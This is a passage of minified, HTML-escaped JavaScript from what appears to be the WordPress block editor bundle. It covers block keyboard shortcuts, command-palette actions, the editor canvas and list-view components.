Y=m(Q[0]);(u(&quot;core/block-editor/move-up&quot;,re)?&quot;up&quot;:&quot;down&quot;)===&quot;up&quot;?U(Q,Y):G(Q,Y);let K=Array.isArray(Q)?Q.length:1,H=(0,Gg.sprintf)((0,Gg._n)(&quot;%d block moved.&quot;,&quot;%d blocks moved.&quot;,Q.length),K);(0,t3.speak)(H)}}else if(u(&quot;core/block-editor/duplicate&quot;,re)){let Q=f();Q.length&amp;&amp;(re.preventDefault(),P(Q))}else if(u(&quot;core/block-editor/remove&quot;,re)){let Q=f();Q.length&amp;&amp;(re.preventDefault(),E(Q))}else if(u(&quot;core/block-editor/paste-styles&quot;,re)){let Q=f();if(Q.length){re.preventDefault();let Y=d(Q);x(Y)}}else if(u(&quot;core/block-editor/insert-after&quot;,re)){let Q=f();Q.length&amp;&amp;(re.preventDefault(),T(Q[Q.length-1]))}else if(u(&quot;core/block-editor/insert-before&quot;,re)){let Q=f();Q.length&amp;&amp;(re.preventDefault(),O(Q[0]))}else if(u(&quot;core/block-editor/unselect&quot;,re)){if(re.target.closest(&quot;[role=toolbar]&quot;))return;let Q=f();Q.length&gt;1&amp;&amp;(re.preventDefault(),D(Q[0]))}else if(u(&quot;core/block-editor/collapse-list-view&quot;,re)){if((0,JV.isTextField)(re.target)||(0,JV.isTextField)(re.target?.contentWindow?.document?.activeElement))return;re.preventDefault(),j(r)}else if(u(&quot;core/block-editor/group&quot;,re)){let Q=f();if(Q.length&gt;1&amp;&amp;g(Q)){re.preventDefault();let Y=d(Q),J=k(),K=(0,Hg.switchToBlockType)(Y,J);L(Q,K),(0,t3.speak)((0,Gg.__)(&quot;Selected blocks are grouped.&quot;))}}else if(u(&quot;core/block-editor/rename&quot;,re)){let Q=f();if(Q.length===1){let Y=h(Q[0])===&quot;contentOnly&quot;;I&amp;&amp;!Y&amp;&amp;v(Q[0])&amp;&amp;(re.preventDefault(),B(Q[0]))}}else if(u(&quot;core/block-editor/toggle-block-visibility&quot;,re)){let Q=f();if(Q.length){if(re.preventDefault(),!d(Q).every(K=&gt;(0,Hg.hasBlockSupport)(K.name,&quot;visibility&quot;,!0))||Q.some(K=&gt;h(K)!==&quot;default&quot;||!v(K)))return;W(Q)}}u(&quot;core/block-editor/stop-editing-as-blocks&quot;,re)&amp;&amp;b()&amp;&amp;z()}}let ce=mm(t),ie=mm(t);return(0,Yi.jsxs)(&quot;div&quot;,{...o,onKeyDown:se,className:V(o.className,{&quot;block-editor-block-tools--is-dragging&quot;:a}),children:[(0,Yi.jsxs)(fg.Provider,{value:(0,ST.useRef)(!1),children:[!i&amp;&amp;!s&amp;&amp;(0,Yi.jsx)(CY,{__unstableContentRef:t}),y&amp;&amp;(0,Yi.jsx)(jq,{__unstableContentRef:t,clientId:r}),S&amp;&amp;(0,Yi.jsx)(FQ,{__unstableContentRef:t,clientId:r,isTyping:i}),!s&amp;&amp;!n&amp;&amp;(0,Yi.jsx)(e3.Popover.Slot,{name:&quot;block-toolbar&quot;,ref:ce}),e,(0,Yi.jsx)(e3.Popover.Slot,{name:&quot;__unstable-block-tools-after&quot;,ref:ie}),s&amp;&amp;!a&amp;&amp;(0,Yi.jsx)(GQ,{__unstableContentRef:t})]}),C&amp;&amp;(0,Yi.jsx)(Tm,{clientId:C,onClose:()=&gt;B(null)}),c&amp;&amp;(0,Yi.jsx)(wD,{clientIds:c,onClose:ee})]})}var qi=l(N(),1),Na=l($(),1),ic=l(F(),1),o3=l(ZQ(),1);var fBe=()=&gt;function(){let{replaceBlocks:t,multiSelect:o}=(0,ic.useDispatch)(_),{blocks:r,clientIds:n,canRemove:i,possibleBlockTransformations:s,invalidSelection:a}=(0,ic.useSelect)(h=&gt;{let{getBlockRootClientId:p,getBlockTransformItems:g,getSelectedBlockClientIds:b,getBlocksByClientId:v,canRemoveBlocks:k}=h(_),y=b(),S=v(y);if(S.filter(C=&gt;!C).length&gt;0)return{invalidSelection:!0};let x=p(y[0]);return{blocks:S,clientIds:y,possibleBlockTransformations:g(S,x),canRemove:k(y),invalidSelection:!1}},[]);if(a)return{isLoading:!1,commands:[]};let c=r.length===1&amp;&amp;(0,Na.isTemplatePart)(r[0]);function u(h){h.length&gt;1&amp;&amp;o(h[0].clientId,h[h.length-1].clientId)}function d(h){let p=(0,Na.switchToBlockType)(r,h);t(n,p),u(p)}let f=!!s.length&amp;&amp;i&amp;&amp;!c;return!n||n.length&lt;1||!f?{isLoading:!1,commands:[]}:{isLoading:!1,commands:s.map(h=&gt;{let{name:p,title:g,icon:b}=h,v=!b?.src||b?.src===&quot;block-default&quot;?{src:Jk}:b;return{name:&quot;core/block-editor/transform-to-&quot;+p.replace(&quot;/&quot;,&quot;-&quot;),label:(0,qi.sprintf)((0,qi.__)(&quot;Transform to %s&quot;),g),icon:v?.src,category:&quot;command&quot;,callback:({close:k})=&gt;{d(p),k()}}})}},mBe=()=&gt;function(){let{clientIds:t,isUngroupable:o,isGroupable:r}=(0,ic.useSelect)(O=&gt;{let{getSelectedBlockClientIds:D,isUngroupable:U,isGroupable:G}=O(_);return{clientIds:D(),isUngroupable:U(),isGroupable:G()}},[]),{canInsertBlockType:n,getBlockRootClientId:i,getBlocksByClientId:s,canRemoveBlocks:a,isBlockHiddenAnywhere:c}=M((0,ic.useSelect)(_)),{getBlockEditingMode:u}=(0,ic.useSelect)(_),{getDefaultBlockName:d,getGroupingBlockName:f}=(0,ic.useSelect)(Na.store),m=s(t),h=(0,ic.useDispatch)(_),{removeBlocks:p,replaceBlocks:g,duplicateBlocks:b,insertAfterBlock:v,insertBeforeBlock:k}=h,y=()=&gt;{if(!m.length)return;let O=f(),D=(0,Na.switchToBlockType)(m,O);D&amp;&amp;g(t,D)},S=()=&gt;{if(!m.length)return;let O=m[0].innerBlocks;O.length&amp;&amp;g(t,O)};if(!t||t.length&lt;1)return{isLoading:!1,commands:[]};let{showViewportModal:x}=M(h),C=i(t[0]),B=n(d(),C),I=m.every(O=&gt;!!O&amp;&amp;(0,Na.hasBlockSupport)(O.name,&quot;multiple&quot;,!0)&amp;&amp;n(O.name,C)),P=a(t),E=[];I&amp;&amp;E.push({name:&quot;duplicate&quot;,label:(0,qi.__)(&quot;Duplicate&quot;),callback:()=&gt;b(t,!0),icon:Cf}),B&amp;&amp;E.push({name:&quot;add-before&quot;,label:(0,qi.__)(&quot;Add before&quot;),callback:()=&gt;{let O=Array.isArray(t)?t[0]:O;k(O)},icon:Bi},{name:&quot;add-after&quot;,label:(0,qi.__)(&quot;Add after&quot;),callback:()=&gt;{let O=Array.isArray(t)?t[t.length-1]:O;v(O)},icon:Bi}),r&amp;&amp;E.push({name:&quot;Group&quot;,label:(0,qi.__)(&quot;Group&quot;),callback:y,icon:nv}),o&amp;&amp;E.push({name:&quot;ungroup&quot;,label:(0,qi.__)(&quot;Ungroup&quot;),callback:S,icon:RN}),P&amp;&amp;E.push({name:&quot;remove&quot;,label:(0,qi.__)(&quot;Delete&quot;),callback:()=&gt;p(t,!0),icon:IN});let L=m.every(O=&gt;!!O&amp;&amp;(0,Na.hasBlockSupport)(O.name,&quot;visibility&quot;,!0)),T=t.every(O=&gt;u(O)===&quot;default&quot;);if(L&amp;&amp;T){let O=t.some(D=&gt;c(D));E.push({name:&quot;toggle-visibility&quot;,label:O?(0,qi.__)(&quot;Show&quot;):(0,qi.__)(&quot;Hide&quot;),callback:()=&gt;x(t),icon:O?Af:vs})}return{isLoading:!1,commands:E.map(O=&gt;({...O,name:&quot;core/block-editor/action-&quot;+O.name,category:&quot;command&quot;,callback:({close:D})=&gt;{O.callback(),D()}}))}},_T=()=&gt;{(0,o3.useCommandLoader)({name:&quot;core/block-editor/blockTransforms&quot;,hook:fBe()}),(0,o3.useCommandLoader)({name:&quot;core/block-editor/blockQuickActions&quot;,hook:mBe(),context:&quot;block-selection-edit&quot;})};var Zr=l(w(),1),xT=(0,eJ.createSlotFill)(Symbol(&quot;BlockCanvasCover&quot;));function XQ({children:e}){return(0,Zr.jsx)(&quot;div&quot;,{className:&quot;block-canvas-cover&quot;,style:{position:&quot;absolute&quot;,top:0,left:0,width:&quot;100%&quot;,height:&quot;100%&quot;,pointerEvents:&quot;none&quot;},children:e})}var pBe={ignoredSelectors:[/\.editor-styles-wrapper/gi]};function r3({shouldIframe:e=!0,height:t=&quot;300px&quot;,children:o=(0,Zr.jsx)(Gh,{}),styles:r,contentRef:n,iframeProps:i}){_T();let s=(0,wT.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),a=rS(),c=hm(),u=(0,QQ.useRef)(),d=(0,wT.useMergeRefs)([n,c,u]),f=(0,JQ.useSelect)(h=&gt;M(h(_)).getZoomLevel(),[]),m=f!==100&amp;&amp;!s?{scale:f,frameSize:&quot;40px&quot;}:{};return e?(0,Zr.jsx)(RS,{__unstableContentRef:u,style:{height:t,display:&quot;flex&quot;},children:(0,Zr.jsxs)(Mh,{...i,...m,ref:a,contentRef:d,style:{...i?.style},name:&quot;editor-canvas&quot;,children:[(0,Zr.jsx)(xT.Slot,{fillProps:{containerRef:u},children:h=&gt;h.map((p,g)=&gt;(0,Zr.jsx)(XQ,{children:p},g))}),(0,Zr.jsx)(Nl,{styles:r}),o]})}):(0,Zr.jsxs)(RS,{__unstableContentRef:u,style:{height:t,display:&quot;flex&quot;},children:[(0,Zr.jsx)(xT.Slot,{fillProps:{containerRef:u},children:h=&gt;h.map((p,g)=&gt;(0,Zr.jsx)(XQ,{children:p},g))}),(0,Zr.jsx)(Nl,{styles:r,scope:&quot;:where(.editor-styles-wrapper)&quot;,transformOptions:pBe}),(0,Zr.jsx)(E1,{ref:d,className:&quot;editor-styles-wrapper&quot;,tabIndex:-1,style:{height:&quot;100%&quot;,width:&quot;100%&quot;,overflow:&quot;auto&quot;},children:o})]})}function hBe({children:e,height:t,styles:o}){return(0,Zr.jsx)(r3,{height:t,styles:o,children:e})}var tJ=hBe;var Ma=l(A(),1),oJ=l(N(),1),rJ=l(it(),1),nJ=l(Re(),1),Zi=l(w(),1),gBe=()=&gt;(0,Zi.jsx)(Ma.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 20 20&quot;,children:(0,Zi.jsx)(Ma.Path,{d:&quot;M7.434 5l3.18 9.16H8.538l-.692-2.184H4.628l-.705 2.184H2L5.18 5h2.254zm-1.13 1.904h-.115l-1.148 3.593H7.44L6.304 6.904zM14.348 7.006c1.853 0 2.9.876 2.9 2.374v4.78h-1.79v-.914h-.114c-.362.64-1.123 1.022-2.031 1.022-1.346 0-2.292-.826-2.292-2.108 0-1.27.972-2.006 2.71-2.107l1.696-.102V9.38c0-.584-.42-.914-1.18-.914-.667 0-1.112.228-1.264.647h-1.701c.12-1.295 1.307-2.107 3.066-2.107zm1.079 4.1l-1.416.09c-.793.056-1.18.342-1.18.844 0 .52.45.837 1.091.837.857 0 1.505-.545 1.505-1.256v-.515z&quot;})}),bBe=({style:e,className:t})=&gt;(0,Zi.jsx)(&quot;div&quot;,{className:&quot;block-library-colors-selector__icon-container&quot;,children:(0,Zi.jsx)(&quot;div&quot;,{className:`${t} block-library-colors-selector__state-selection`,style:e,children:(0,Zi.jsx)(gBe,{})})}),kBe=({TextColor:e,BackgroundColor:t})=&gt;function({onToggle:r,isOpen:n}){let i=s=&gt;{!n&amp;&amp;s.keyCode===rJ.DOWN&amp;&amp;(s.preventDefault(),r())};return(0,Zi.jsx)(Ma.ToolbarGroup,{children:(0,Zi.jsx)(Ma.ToolbarButton,{className:&quot;components-toolbar__control block-library-colors-selector__toggle&quot;,label:(0,oJ.__)(&quot;Open Colors Selector&quot;),onClick:r,onKeyDown:i,icon:(0,Zi.jsx)(t,{children:(0,Zi.jsx)(e,{children:(0,Zi.jsx)(bBe,{})})})})})},vBe=({children:e,...t})=&gt;((0,nJ.default)(&quot;wp.blockEditor.BlockColorsStyleSelector&quot;,{alternative:&quot;block supports API&quot;,since:&quot;6.1&quot;,version:&quot;6.3&quot;}),(0,Zi.jsx)(Ma.Dropdown,{popoverProps:{placement:&quot;bottom-start&quot;},className:&quot;block-library-colors-selector&quot;,contentClassName:&quot;block-library-colors-selector__popover&quot;,renderToggle:kBe(t),renderContent:()=&gt;e})),iJ=vBe;var dee=l(Re(),1),jT=l(A(),1),c3=l(N(),1),fee=l(F(),1),mee=l(R(),1);var Xg=l(Z(),1),FT=l(A(),1),LS=l(F(),1),cee=l(Re(),1),vo=l(R(),1),l3=l(N(),1);var LT=l(A(),1),NT=l(R(),1),MT=l(F(),1);var aJ=l(Z(),1),lJ=l(Xo(),1),cJ=l(F(),1),IT=l(R(),1),Wg=l(N(),1);var CT=l(R(),1),BT=(0,CT.createContext)({});BT.displayName=&quot;ListViewContext&quot;;var md=()=&gt;(0,CT.useContext)(BT);var ET=l(R(),1),sJ=l(w(),1);function TT({children:e,...t}){let o=(0,ET.useRef)();return(0,ET.useEffect)(()=&gt;{o.current&amp;&amp;(o.current.textContent=o.current.textContent)},[e]),(0,sJ.jsx)(&quot;div&quot;,{hidden:!0,...t,ref:o,children:e})}var OS=l(w(),1),n3=(0,IT.forwardRef)(({nestingLevel:e,blockCount:t,clientId:o,...r},n)=&gt;{let{insertedBlock:i,setInsertedBlock:s}=md(),a=(0,aJ.useInstanceId)(n3),{directInsert:c,hideInserter:u}=(0,cJ.useSelect)(p=&gt;{let{getBlockListSettings:g,getTemplateLock:b,isZoomOut:v}=M(p(_)),y=g(o)?.directInsert||!1,S=!!b(o)||v();return{directInsert:y,hideInserter:S}},[o]),d=zr({clientId:o,context:&quot;list-view&quot;}),f=zr({clientId:i?.clientId,context:&quot;list-view&quot;});if((0,IT.useEffect)(()=&gt;{f?.length&amp;&amp;(0,lJ.speak)((0,Wg.sprintf)((0,Wg.__)(&quot;%s block inserted&quot;),f),&quot;assertive&quot;)},[f]),u)return null;let m=`list-view-appender__${a}`,h=(0,Wg.sprintf)((0,Wg.__)(&quot;Append to %1$s block at position %2$d, Level %3$d&quot;),d,t+1,e);return(0,OS.jsxs)(&quot;div&quot;,{className:&quot;list-view-appender&quot;,children:[(0,OS.jsx)(Ui,{ref:n,rootClientId:o,position:&quot;bottom right&quot;,isAppender:!0,selectBlockOnInsert:!1,shouldDirectInsert:c,__experimentalIsQuick:!0,...r,toggleProps:{&quot;aria-describedby&quot;:m},onSelectOrClose:p=&gt;{p?.clientId&amp;&amp;s(p)}}),(0,OS.jsx)(TT,{id:m,children:h})]})});var gd=l($(),1),Nm=l(A(),1),OT=l(Z(),1);var ko=l(R(),1),Kg=l(F(),1),s3=l(N(),1),AT=l(it(),1),LJ=l(Jy(),1),NJ=l(Is(),1),MJ=l(Xo(),1);var uJ=l(A(),1),dJ=l(Z(),1),fJ=l(R(),1);var mJ=l(w(),1),yBe=P7(uJ.__experimentalTreeGridRow),SBe=(0,fJ.forwardRef)(({isDragged:e,isSelected:t,position:o,level:r,rowCount:n,children:i,className:s,path:a,...c},u)=&gt;{let d=YC({clientId:c[&quot;data-block&quot;],enableAnimation:!0,triggerAnimationOnChange:a}),f=(0,dJ.useMergeRefs)([u,d]);return(0,mJ.jsx)(yBe,{ref:f,className:V(&quot;block-editor-list-view-leaf&quot;,s),level:r,positionInSet:o,setSize:n,isExpanded:void 0,...c,children:i})}),pJ=SBe;var hJ=l(Fe(),1),gJ=l(R(),1);function bJ({isSelected:e,selectedClientIds:t,rowItemRef:o}){let r=t.length===1;(0,gJ.useLayoutEffect)(()=&gt;{if(!e||!r||!o.current)return;let n=(0,hJ.getScrollContainer)(o.current),{ownerDocument:i}=o.current;if(n===i.body||n===i.documentElement||!n)return;let a=o.current.getBoundingClientRect(),c=n.getBoundingClientRect();(a.top&lt;c.top||a.bottom&gt;c.bottom)&amp;&amp;o.current.scrollIntoView()},[e,r,o])}var BJ=l(R(),1);var pd=l(A(),1),xJ=l(R(),1);var RT=l(it(),1),wJ=l(F(),1);var kJ=l(N(),1),i3=l(w(),1);function PT({onClick:e}){return(0,i3.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view__expander&quot;,onClick:t=&gt;e(t,{forceToggle:!0}),&quot;aria-hidden&quot;:&quot;true&quot;,&quot;data-testid&quot;:&quot;list-view-expander&quot;,children:(0,i3.jsx)(we,{icon:(0,kJ.isRTL)()?ev:tu})})}var vJ=l(R(),1),yJ=l(F(),1);var _Be=3,SJ={&quot;core/image&quot;:({clientId:e,attributes:t})=&gt;{if(t.url)return{url:t.url,alt:t.alt||&quot;&quot;,clientId:e}},&quot;core/cover&quot;:({clientId:e,attributes:t})=&gt;{if(t.backgroundType===&quot;image&quot;&amp;&amp;t.url)return{url:t.url,alt:t.alt||&quot;&quot;,clientId:e}},&quot;core/media-text&quot;:({clientId:e,attributes:t})=&gt;{if(t.mediaType===&quot;image&quot;&amp;&amp;t.mediaUrl)return{url:t.mediaUrl,alt:t.mediaAlt||&quot;&quot;,clientId:e}},&quot;core/gallery&quot;:({innerBlocks:e})=&gt;{let t=[],o=e?.length?SJ[e[0].name]:void 0;if(!o)return t;for(let r of e){let n=o(r);if(n&amp;&amp;t.push(n),t.length&gt;=_Be)return t}return t}};function xBe(e,t){let o=SJ[e.name],r=o?o(e):void 0;return r?Array.isArray(r)?t?[]:r:[r]:[]}function _J({clientId:e,isExpanded:t}){let{block:o}=(0,yJ.useSelect)(n=&gt;({block:n(_).getBlock(e)}),[e]);return(0,vJ.useMemo)(()=&gt;xBe(o,t),[o,t])}var jo=l(w(),1),{Badge:wBe}=M(pd.privateApis);function CBe({className:e,block:{clientId:t},onClick:o,onContextMenu:r,onMouseDown:n,onToggleExpanded:i,tabIndex:s,onFocus:a,onDragStart:c,onDragEnd:u,draggable:d,isExpanded:f,ariaDescribedBy:m},h){let p=Tt(t),g=zr({clientId:t,context:&quot;list-view&quot;}),{isLocked:b}=ei(t),{hasPatternName:v,blockVisibility:k}=(0,wJ.useSelect)(P=&gt;{let{getBlockAttributes:E}=M(P(_)),L=E(t);return{hasPatternName:!!L?.metadata?.patternName,blockVisibility:L?.metadata?.blockVisibility}},[t]),y=b,S=p?.positionType===&quot;sticky&quot;,x=_J({clientId:t,isExpanded:f}),C=by(k),B=P=&gt;{P.dataTransfer.clearData(),c?.(P)};function I(P){(P.keyCode===RT.ENTER||P.keyCode===RT.SPACE)&amp;&amp;o(P)}return(0,jo.jsxs)(&quot;a&quot;,{className:V(&quot;block-editor-list-view-block-select-button&quot;,e),onClick:o,onContextMenu:r,onKeyDown:I,onMouseDown:n,ref:h,tabIndex:s,onFocus:a,onDragStart:B,onDragEnd:u,draggable:d,href:`#block-${t}`,&quot;aria-describedby&quot;:m,&quot;aria-expanded&quot;:f,children:[(0,jo.jsx)(PT,{onClick:i}),(0,jo.jsx)(Ae,{icon:v?Ei:p?.icon,showColors:!0,context:&quot;list-view&quot;}),(0,jo.jsxs)(pd.__experimentalHStack,{alignment:&quot;center&quot;,className:&quot;block-editor-list-view-block-select-button__label-wrapper&quot;,justify:&quot;flex-start&quot;,spacing:1,children:[(0,jo.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__title&quot;,children:(0,jo.jsx)(pd.__experimentalTruncate,{ellipsizeMode:&quot;auto&quot;,children:g})}),p?.anchor&amp;&amp;(0,jo.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__anchor-wrapper&quot;,children:(0,jo.jsx)(wBe,{className:&quot;block-editor-list-view-block-select-button__anchor&quot;,children:p.anchor})}),S&amp;&amp;(0,jo.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__sticky&quot;,children:(0,jo.jsx)(we,{icon:NL})}),x.length?(0,jo.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__images&quot;,&quot;aria-hidden&quot;:!0,children:x.map((P,E)=&gt;(0,jo.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__image&quot;,style:{backgroundImage:`url(${P.url})`,zIndex:x.length-E}},P.clientId))}):null,!!C&amp;&amp;(0,jo.jsx)(pd.Tooltip,{text:C,children:(0,jo.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__block-visibility&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,jo.jsx)(we,{icon:vs})})}),y&amp;&amp;(0,jo.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__lock&quot;,children:(0,jo.jsx)(we,{icon:EL})})]})]})}var CJ=(0,xJ.forwardRef)(CBe);var hd=l(w(),1),BBe=(0,BJ.forwardRef)(({onClick:e,onToggleExpanded:t,block:o,isSelected:r,position:n,siblingBlockCount:i,level:s,isExpanded:a,selectedClientIds:c,...u},d)=&gt;{let{clientId:f}=o,{AdditionalBlockContent:m,insertedBlock:h,setInsertedBlock:p}=md(),g=c.includes(f)?c:[f];return(0,hd.jsxs)(hd.Fragment,{children:[m&amp;&amp;(0,hd.jsx)(m,{block:o,insertedBlock:h,setInsertedBlock:p}),(0,hd.jsx)(fE,{appendToOwnerDocument:!0,clientIds:g,cloneClassname:&quot;block-editor-list-view-draggable-chip&quot;,children:({draggable:b,onDragStart:v,onDragEnd:k})=&gt;(0,hd.jsx)(CJ,{ref:d,className:&quot;block-editor-list-view-block-contents&quot;,block:o,onClick:e,onToggleExpanded:t,isSelected:r,position:n,siblingBlockCount:i,level:s,draggable:b,onDragStart:v,onDragEnd:k,isExpanded:a,...u})})]})}),EJ=BBe;var Lm=l(N(),1),TJ=l(Fe(),1),IJ=(e,t,o)=&gt;(0,Lm.sprintf)((0,Lm.__)(&quot;Block %1$d of %2$d, Level %3$d.&quot;),e,t,o),PJ=(e,t)=&gt;[e?.positionLabel?`${(0,Lm.sprintf)((0,Lm.__)(&quot;Position: %s&quot;),e.positionLabel)}.`:void 0,t?(0,Lm.__)(&quot;This block is locked.&quot;):void 0].filter(Boolean).join(&quot; &quot;),RJ=(e,t)=&gt;Array.isArray(t)&amp;&amp;t.length?t.indexOf(e)!==-1:t===e;function OJ(e,t,o,r){let n=[...o,e],i=[...r,t],s=Math.min(n.length,i.length)-1,a=n[s],c=i[s];return{start:a,end:c}}function $g(e,t){if(!t)return;let o=`[role=row][data-block=&quot;${e}&quot;]`;return new Promise(r=&gt;{if(t.querySelector(o))return r(t.querySelector(o));let n=null,i=new window.MutationObserver(()=&gt;{t.querySelector(o)&amp;&amp;(clearTimeout(n),i.disconnect(),r(t.querySelector(o)))});i.observe(t,{childList:!0,subtree:!0}),n=setTimeout(()=&gt;{i.disconnect(),r(null)},3e3)}).then(r=&gt;{r&amp;&amp;r.isConnected&amp;&amp;TJ.focus.focusable.find(r)?.[0]?.focus()})}function AJ({blockIndexes:e,blockDropTargetIndex:t,blockDropPosition:o,clientId:r,firstDraggedBlockIndex:n,isDragged:i}){let s,a,c;if(!i){a=!1;let u=e[r];c=u&gt;n,t!=null&amp;&amp;n!==void 0?u!==void 0&amp;&amp;(u&gt;=n&amp;&amp;u&lt;t?s=&quot;up&quot;:u&lt;n&amp;&amp;u&gt;=t?s=&quot;down&quot;:s=&quot;normal&quot;,a=typeof t==&quot;number&quot;&amp;&amp;t-1===u&amp;&amp;o===&quot;inside&quot;):t===null&amp;&amp;n!==void 0?u!==void 0&amp;&amp;u&gt;=n?s=&quot;up&quot;:s=&quot;normal&quot;:t!=null&amp;&amp;n===void 0?u!==void 0&amp;&amp;(u&lt;t?s=&quot;normal&quot;:s=&quot;down&quot;):t===null&amp;&amp;(s=&quot;normal&quot;)}return{displacement:s,isNesting:a,isAfterDraggedBlocks:c}}var er=l(w(),1);function DJ({block:{clientId:e},displacement:t,isAfterDraggedBlocks:o,isDragged:r,isNesting:n,isSelected:i,isBranchSelected:s,selectBlock:a,position:c,level:u,rowCount:d,siblingBlockCount:f,showBlockMovers:m,path:h,isExpanded:p,selectedClientIds:g,isSyncedBranch:b}){let v=(0,ko.useRef)(null),k=(0,ko.useRef)(null),y=(0,ko.useRef)(null),[S,x]=(0,ko.useState)(!1),[C,B]=(0,ko.useState)(),[I,P]=(0,ko.useState)(!1),{isLocked:E}=ei(e),L=i&amp;&amp;g[0]===e,T=i&amp;&amp;g[g.length-1]===e,{toggleBlockHighlight:O,duplicateBlocks:D,multiSelect:U,replaceBlocks:G,removeBlocks:j,insertAfterBlock:z,insertBeforeBlock:W,showViewportModal:ee}=M((0,Kg.useDispatch)(_)),se=(0,OT.useDebounce)(O,50),{canInsertBlockType:ce,getSelectedBlockClientIds:ie,getPreviousBlockClientId:re,getBlockRootClientId:Q,getBlockOrder:Y,getBlockParents:J,getBlockEditingMode:K,getBlocksByClientId:H,canEditBlock:X,canMoveBlock:ne,canRemoveBlocks:le,isGroupable:ve}=(0,Kg.useSelect)(_),{getGroupingBlockName:he}=(0,Kg.useSelect)(gd.store),xe=Tt(e),ze=yg(),{block:ot,blockName:Wt,allowRightClickOverrides:fo}=(0,Kg.useSelect)(ue=&gt;{let{getBlock:to,getBlockName:ye,getSettings:Lt}=M(ue(_));return{block:to(e),blockName:ye(e),allowRightClickOverrides:Lt().allowRightClickOverrides}},[e]),{canRename:Do}=Pm(Wt),rt=(0,gd.hasBlockSupport)(Wt,&quot;__experimentalToolbar&quot;,!0),xt=`list-view-block-select-button__description-${(0,OT.useInstanceId)(DJ)}`,{expand:At,collapse:Pe,collapseAll:wt,BlockSettingsMenu:qo,listViewInstanceId:$t,expandedState:lr,setInsertedBlock:ln,treeGridElementRef:je,rootClientId:Eo}=md(),Ze=(0,NJ.__unstableUseShortcutEventMatch)();function Ve(){let ue=ie(),to=ue.includes(e),ye=to?ue[0]:e,Lt=Q(ye);return{blocksToUpdate:to?ue:[e],firstBlockClientId:ye,firstBlockRootClientId:Lt,selectedBlockClientIds:ue}}async function gt(ue){if(ue.defaultPrevented||ue.target.closest(&quot;[role=dialog]&quot;))return;let to=[AT.BACKSPACE,AT.DELETE].includes(ue.keyCode);if(Ze(&quot;core/block-editor/unselect&quot;,ue)&amp;&amp;g.length&gt;0)ue.stopPropagation(),ue.preventDefault(),a(ue,void 0);else if(to||Ze(&quot;core/block-editor/remove&quot;,ue)){let{blocksToUpdate:ye,firstBlockClientId:Lt,firstBlockRootClientId:un,selectedBlockClientIds:_r}=Ve();if(!le(ye))return;let Wc=re(Lt)??un;j(ye,!1);let mO=_r.length&gt;0&amp;&amp;ie().length===0;Wc||(Wc=Y()[0]),Ct(Wc,mO)}else if(Ze(&quot;core/block-editor/paste-styles&quot;,ue)){ue.preventDefault();let{blocksToUpdate:ye}=Ve(),Lt=H(ye);ze(Lt)}else if(Ze(&quot;core/block-editor/duplicate&quot;,ue)){ue.preventDefault();let{blocksToUpdate:ye,firstBlockRootClientId:Lt}=Ve();if(H(ye).every(_r=&gt;!!_r&amp;&amp;(0,gd.hasBlockSupport)(_r.name,&quot;multiple&quot;,!0)&amp;&amp;ce(_r.name,Lt))){let _r=await D(ye,!1);_r?.length&amp;&amp;Ct(_r[0],!1)}}else if(Ze(&quot;core/block-editor/insert-before&quot;,ue)){ue.preventDefault();let{blocksToUpdate:ye}=Ve();await W(ye[0]);let Lt=ie();Ct(Lt[0],!1)}else if(Ze(&quot;core/block-editor/insert-after&quot;,ue)){ue.preventDefault();let{blocksToUpdate:ye}=Ve();await z(ye.at(-1));let Lt=ie();Ct(Lt[0],!1)}else if(Ze(&quot;core/block-editor/select-all&quot;,ue)){ue.preventDefault();let{firstBlockRootClientId:ye,selectedBlockClientIds:Lt}=Ve(),un=Y(ye);if(!un.length)return;if((0,LJ.isShallowEqual)(Lt,un)&amp;&amp;ye&amp;&amp;ye!==Eo){Ct(ye,!0);return}U(un[0],un[un.length-1],null)}else if(Ze(&quot;core/block-editor/collapse-list-view&quot;,ue)){ue.preventDefault();let{firstBlockClientId:ye}=Ve(),Lt=J(ye,!1);wt(),At(Lt)}else if(Ze(&quot;core/block-editor/group&quot;,ue)){let{blocksToUpdate:ye}=Ve();if(ye.length&gt;1&amp;&amp;ve(ye)){ue.preventDefault();let Lt=H(ye),un=he(),_r=(0,gd.switchToBlockType)(Lt,un);G(ye,_r),(0,MJ.speak)((0,s3.__)(&quot;Selected blocks are grouped.&quot;));let Wc=ie();Ct(Wc[0],!1)}}else if(Ze(&quot;core/block-editor/toggle-block-visibility&quot;,ue)){ue.preventDefault();let{blocksToUpdate:ye}=Ve();if(!H(ye).every(_r=&gt;(0,gd.hasBlockSupport)(_r.name,&quot;visibility&quot;,!0))||ye.some(_r=&gt;K(_r)!==&quot;default&quot;))return;ee(ye)}else if(Ze(&quot;core/block-editor/rename&quot;,ue)){let{blocksToUpdate:ye}=Ve(),Lt=K(ye[0])===&quot;contentOnly&quot;;ye.length===1&amp;&amp;Do&amp;&amp;!Lt&amp;&amp;(ue.preventDefault(),P(!0))}}let To=(0,ko.useCallback)(()=&gt;{x(!0),se(e,!0)},[e,x,se]),cr=(0,ko.useCallback)(()=&gt;{x(!1),se(e,!1)},[e,x,se]),ge=(0,ko.useCallback)(ue=&gt;{a(ue,e),ue.preventDefault()},[e,a]),Ct=(0,ko.useCallback)((ue,to)=&gt;{to&amp;&amp;a(void 0,ue,null,null),$g(ue,je?.current)},[a,je]),Io=(0,ko.useCallback)(ue=&gt;{ue.preventDefault(),ue.stopPropagation(),p===!0?Pe(e):p===!1&amp;&amp;At(e)},[e,At,Pe,p]),Ke=(0,ko.useCallback)(ue=&gt;{let{ownerDocument:to}=y?.current||{};!to||!to.hasFocus()||rt&amp;&amp;fo&amp;&amp;(y.current?.click(),B(new 